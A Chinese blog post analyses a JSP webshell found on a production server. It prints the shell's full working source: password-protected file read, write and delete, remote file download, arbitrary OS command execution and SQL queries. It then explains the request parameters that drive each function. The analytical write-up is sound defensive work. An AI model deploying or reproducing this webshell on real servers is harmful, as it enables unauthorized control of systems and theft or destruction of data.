写在前面,本文仅做为技术交流的用途,请不要使用本文中的技术破坏他人的网站及系统,因为这是违法的!!!本人不负任何法律责任!!!  


  19年1月份,发现了一个JSP木马文件,当时觉得有点奇怪的是,这个文件没有在上传目录,而是在相当于windows系统桌面的位置,我怀疑应该是这个木马把自己转移了。

  这个木马是一个JSP文件,通过在访问该文件的时候传递参数,就能调用该文件中对应的方法,从而实现对系统的各种功能。

  先上源代码:

<%@page import="java.io.*,java.util.*,java.net.*,java.sql.*,java.text.*"%>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%!
String Pwd="justtest123";
String EC(String s,String c)throws Exception{
return s;
}
//new String(s.getBytes("ISO-8859-1"),c);}
Connection GC(String s)throws Exception{
String[] x=s.trim().split("\r\n");
Class.forName("oracle.jdbc.driver.OracleDriver").newInstance();
Connection c=DriverManager.getConnection("jdbc:oracle:thin:@192.168.0.107:1521:test");
System.out.println("数据库连接获取完毕");
if(x.length>2){
c.setCatalog("jdbc:oracle:thin:@192.168.0.107:1521:test");
}
return c;
}
void AA(StringBuffer sb)throws Exception{
File r[]=File.listRoots();
for(int i=0;i<r.length;i++){
sb.append(r[i].toString().substring(0,2));
}
}
void BB(String s,StringBuffer sb)throws Exception{
File oF=new File(s),l[]=oF.listFiles();
String sT, sQ,sF="";
java.util.Date dt;
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
for(int i=0;i<l.length;i++){
dt=new java.util.Date(l[i].lastModified());
sT=fm.format(dt);
sQ=l[i].canRead()?"R":"";
sQ+=l[i].canWrite()?" W":"";
if(l[i].isDirectory()){
sb.append(l[i].getName()+"/\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n");
}else{
sF+=l[i].getName()+"\t"+sT+"\t"+l[i].length()+"\t"+sQ+"\n";
}
}
sb.append(sF);
}
void EE(String s)throws Exception{
File f=new File(s);
if(f.isDirectory()){
File x[]=f.listFiles();
for(int k=0;k<x.length;k++){
if(!x[k].delete()){
EE(x[k].getPath());
}
}
}
f.delete();
}
void FF(String s,HttpServletResponse r)throws Exception{
int n;
byte[] b=new byte[512];
r.reset();
ServletOutputStream os=r.getOutputStream();
BufferedInputStream is=new BufferedInputStream(new FileInputStream(s));
os.write(("->"+"|").getBytes(),0,3);
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.write(("|"+"<-").getBytes(),0,3);
os.close();
is.close();
}
void GG(String s, String d)throws Exception{
String h="0123456789ABCDEF";
int n;
File f=new File(s);
f.createNewFile();
FileOutputStream os=new FileOutputStream(f);
for(int i=0;i<d.length();i+=2){
os.write((h.indexOf(d.charAt(i))<<4|h.indexOf(d.charAt(i+1))));
}
os.close();
}
void HH(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
if(sf.isDirectory()){
if(!df.exists()){
df.mkdir();
}
File z[]=sf.listFiles();
for(int j=0;j<z.length;j++){
HH(s+"/"+z[j].getName(),d+"/"+z[j].getName());
}
}else{
FileInputStream is=new FileInputStream(sf);
FileOutputStream os=new FileOutputStream(df);
int n;
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
is.close();
os.close();
}
}
void II(String s,String d)throws Exception{
File sf=new File(s),df=new File(d);
sf.renameTo(df);
}
void JJ(String s)throws Exception{
File f=new File(s);
f.mkdir();
}
void KK(String s,String t)throws Exception{
File f=new File(s);
SimpleDateFormat fm=new SimpleDateFormat("yyyy-MM-dd HH:mm:ss");
java.util.Date dt=fm.parse(t);
f.setLastModified(dt.getTime());
}
void LL(String s, String d)throws Exception{
URL u=new URL(s);
int n;FileOutputStream os=new FileOutputStream(d);
HttpURLConnection h=(HttpURLConnection)u.openConnection();
InputStream is=h.getInputStream();
byte[] b=new byte[512];
while((n=is.read(b,0,512))!=-1){
os.write(b,0,n);
}
os.close();
is.close();
h.disconnect();
}
void MM(InputStream is, StringBuffer sb)throws Exception{
String l;
BufferedReader br=new BufferedReader(new InputStreamReader(is));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
}
void NN(String s,StringBuffer sb)throws Exception{
System.out.println("进入了NN方法");
Connection c=GC(s);
System.out.println("GC方法执行完毕");
ResultSet r=c.getMetaData().getCatalogs();
while(r.next()){
System.out.println(r.getString(1));
sb.append(r.getString(1)+"\t");
}
r.close();
c.close();
}
void OO(String s,StringBuffer sb)throws Exception{
Connection c=GC(s);
String[] t={"TABLE"};
ResultSet r=c.getMetaData().getTables (null,null,"%",t);
while(r.next()){
sb.append(r.getString("TABLE_NAME")+"\t");
}
r.close();
c.close();
}
void PP(String s,StringBuffer sb)throws Exception{
String[] x=s.trim().split("\r\n");
Connection c=GC(s);
Statement m=c.createStatement(1005,1007);
ResultSet r=m.executeQuery("select * from "+x[3]);
ResultSetMetaData d=r.getMetaData();
for(int i=1;i<=d.getColumnCount();i++){
sb.append(d.getColumnName(i)+" ("+d.getColumnTypeName(i)+")\t");
}
r.close();
m.close();
c.close();
}
void QQ(String cs,String s,String q,StringBuffer sb)throws Exception{
int i;
Connection c=GC(s);
Statement m=c.createStatement(1005,1008);
try{
ResultSet r=m.executeQuery(q);
ResultSetMetaData d=r.getMetaData();
int n=d.getColumnCount();
for(i=1;i<=n;i++){
sb.append(d.getColumnName(i)+"\t|\t");
}
sb.append("\r\n");
while(r.next()){
for(i=1;i<=n;i++){
sb.append(EC(r.getString(i),cs)+"\t|\t");
}
sb.append("\r\n");
}
r.close();
}catch(Exception e){
sb.append("Result\t|\t\r\n");
try{
m.executeUpdate(q);
sb.append("Execute Successfully!\t|\t\r\n");
}catch(Exception ee){
sb.append(ee.toString()+"\t|\t\r\n");
}
}
m.close();
c.close();
}
%>
<%
String cs=request.getParameter("z0")+"";
request.setCharacterEncoding(cs);
response.setContentType("text/html;charset="+cs);
String Z=EC(request.getParameter("z")+"",cs);
String z1=EC(request.getParameter("z1")+"",cs);
String z2=EC(request.getParameter("z2")+"",cs);
StringBuffer sb=new StringBuffer("");
System.out.println(Z);
try{
sb.append("->"+"|");
if(Z.equals("A")){
String s=new File(application.getRealPath(request.getRequestURI())).getParent();
sb.append(s+"\t");
if(!s.substring(0,1).equals("/")){
AA(sb);
}
}else if(Z.equals("B")){
BB(z1,sb);
}else if(Z.equals("C")){
String l="";
BufferedReader br=new BufferedReader(new InputStreamReader(new FileInputStream(new File(z1))));
while((l=br.readLine())!=null){
sb.append(l+"\r\n");
}
br.close();
}else if(Z.equals("D")){
BufferedWriter bw=new BufferedWriter(new OutputStreamWriter(new FileOutputStream(new File(z1))));
bw.write(z2);
bw.close();
sb.append("1");
}else if(Z.equals("E")){
EE(z1);
sb.append("1");
}else if(Z.equals("F")){
FF(z1,response);
}else if(Z.equals("G")){
GG(z1,z2);
sb.append("1");
}else if(Z.equals("H")){
System.out.println("进入了H");
HH(z1,z2);
sb.append("1");
}else if(Z.equals("I")){
II(z1,z2);
sb.append("1");
}else if(Z.equals("J")){
JJ(z1);
sb.append("1");
}else if(Z.equals("K")){
KK(z1,z2);
sb.append("1");
}else if(Z.equals("L")){
LL(z1,z2);
sb.append("1");
}else if(Z.equals("M")){
String[] c={z1.substring(2),z1.substring(0,2),z2};
Process p=Runtime.getRuntime().exec(c);
MM(p.getInputStream(),sb);
MM(p.getErrorStream(),sb);
}else if(Z.equals("N")){
NN(z1,sb);
}else if(Z.equals("O")){
OO(z1,sb);
}else if(Z.equals("P")){
PP(z1,sb);
}else if(Z.equals("Q")){
QQ(cs,z1,z2,sb);
}
}catch(Exception e){
sb.append("ERROR"+":// "+e.toString());
}
sb.append("|"+"<-");
out.print(sb.toString());
%>

  简单的浏览该源代码发现该木马文件分为两部分,上边的方法区和下边的参数识别区。参数总共有四个,分别是:z0,z,z1,z2。z0传递的是字符集编码格式,一般传递的是“utf-8”。z传递的是你想要调用的方法的名字,例如,根据上面代码中的规则,z传递‘A’就表示你想要调用‘AA’方法。参数z1和z2是不同的方法所需的不同的含义的参数,也就是说,调用不同的方法,需要传递的z1和z2参数是不同的。有的方法也可能不需要传递z1和z2参数。

  参数中的内容需要用urlencode转码。

  我测试了一下,方法ABCDEFG的功能大概如下:(注意请不要将文中技术用于非法途径,本人不负任何法律责任)

A: 获取当前木马的绝对路径和系统所有卷标。

B: 根据z1所指示的路径返回所有文件夹名和文件名,并标注了每个记录的最后修改时间和该记录是否可读写。路径为windows绝对路径,参数要使用urlencode编码。

C: 获取指定文件的内容。z1需要精确到文件名。

D: 将z2参数中的内容覆盖性的写入z1所指定的文件中。如果写入成功页面会显示->|1|<-。

E: 删除z1参数指定的文件或目录,如果是文件直接删除,如果是文件夹,递归删除该文件夹中的文件和子文件夹。如果删除成功页面会显示->|1|<-。

F: 返回指定文件的所有内容,包括第一行

G: 没搞明白这个参数对应的方法是干什么的


  本文为作者sunziren原创文章,转载请提前告知,获得许可后方可转载。转载请注明出处。

  再次声明,本文仅作为技术交流研究用途,禁止进行任何非法用途的使用。

在生产环境中碰见的JSP木马-sunziren的更多相关文章

  1. 生产环境中tomcat的配置

    生产环境中要以daemon方式运行tomcat 通常在开发环境中,我们使用$CATALINA_HOME/bin/startup.sh来启动tomcat, 使用$CATALINA_HOME/bin/sh ...

  2. .NET跨平台之旅:在生产环境中上线第一个运行于Linux上的ASP.NET Core站点

    2016年7月10日,我们在生产环境中上线了第一个运行于Linux上的ASP.NET Core站点,这是一个简单的提供后端服务的ASP.NET Core Web API站点. 项目是在Windows上 ...

  3. 理解Docker(6):若干企业生产环境中的容器网络方案

    本系列文章将介绍 Docker的相关知识: (1)Docker 安装及基本用法 (2)Docker 镜像 (3)Docker 容器的隔离性 - 使用 Linux namespace 隔离容器的运行环境 ...

  4. .NET跨平台之旅:生产环境中第2个跑在Linux上的ASP.NET Core站点

    今天我们在生产环境中上线了第2个跑在Linux上的ASP.NET Core站点.这是一个简单的Web API站点,通过命令行的方式调用安装在Linux服务器上的程序完成操作.之前用的是nodejs,现 ...

  5. 【原】Storm Local模式和生产环境中Topology运行配置

    Storm入门教程 1. Storm基础 Storm Storm主要特点 Storm基本概念 Storm调度器 Storm配置 Guaranteeing Message Processing(消息处理 ...

  6. 生产环境中CentOS7部署NET Core应用程序

    NET Core应用程序部署至生产环境中(CentOS7) 阅读目录 环境说明 准备你的ASP.NET Core应用程序 安装CentOS7 安装.NET Core SDK for CentOS7. ...

  7. 生产环境中使用Docker Swarm的一些建议

    译者按: 实践中会发现,生产环境中使用单个Docker节点是远远不够的,搭建Docker集群势在必行.然而,面对Kubernetes, Mesos以及Swarm等众多容器集群系统,我们该如何选择呢?它 ...

  8. [virtualenv]生产环境中使用virtualenv

    virtualenv 对于python开发和部署都是好工具,可以隔离多个python版本和第三方库的版本,这里作者总结了几个常用python服务怎么样结合virtual部署 原文链接 Python 中 ...

  9. Kubernetes 在生产环境中常用架构

    Kubernetes 在生产环境中常用架构 首先,我们来梳理下Kubernetes生产架构,其设计适用于绝大多数环境.如下图所示 在该架构中,我们可以将其分为四层,如下: Client层:即Kuber ...

随机推荐

  1. java10幸运抽奖

    public class jh_01_知识点回顾 { public static void main(String[] args) { int a = 10; // 变量.标签. // 重新给a赋值. ...

  2. (一)maven基本配置,概念,常用命令

    ---恢复内容开始--- 首先明白maven是什么, maven是一个自动化构建工具,可以将你一个项目的html,java,css,js等代码构建成一个可发布的产品,相当于就是将你从写完代码到部署完成 ...

  3. Go语言实现:常见排序算法

    冒泡排序: 时间复杂度:O(n^2) 稳定性:稳定 //冒泡排序 //相邻两位交换,12交换,23交换,34交换,把最大的数放到最右边 //利用flag标记可以避免无效循环 func BubbleSo ...

  4. Scala 学习(10)之「集合 」

    数组 定长数组 Array:采用()访问,而不是[],下标从 0 开始. val array1 = new Array[String](5) //创建数组 println(array1) //返回数组 ...

  5. Language Model

    在某次会上的语言模型的ppt.

  6. Mysql 删除从数据库的relay logs最佳方式、最安全方式

    情景 MySQL数据库主从复制在默认情况下从库的relay logs会在SQL线程执行完毕后被自动删除.但是:在relay_log_purge = 0和MHA集群下,不会被自动删除,需要手动删除.如何 ...

  7. thinkphp v5.1.36 LTS 如果设置跨域访问

    修改route/route.php中的路由例如 Route::get('new/:id', 'News/read') ->ext('html') ->header('Access-Cont ...

  8. js文本复制插件&vue

    /* HTML: * <a href="javascript:;" class="copy" data-clipboard-text="copy ...

  9. Ajax0001:ajax介绍 JSON数据处理

  10. 多线程笔记 - Master-Worker

    多线程的 Master-Worker 从字面上也是可以理解的. Master 相当于领导, 一个就够了, 如果是多个, 那么听谁的, 是个大问题. Master负责指派任务给 Worker. 然后对每 ...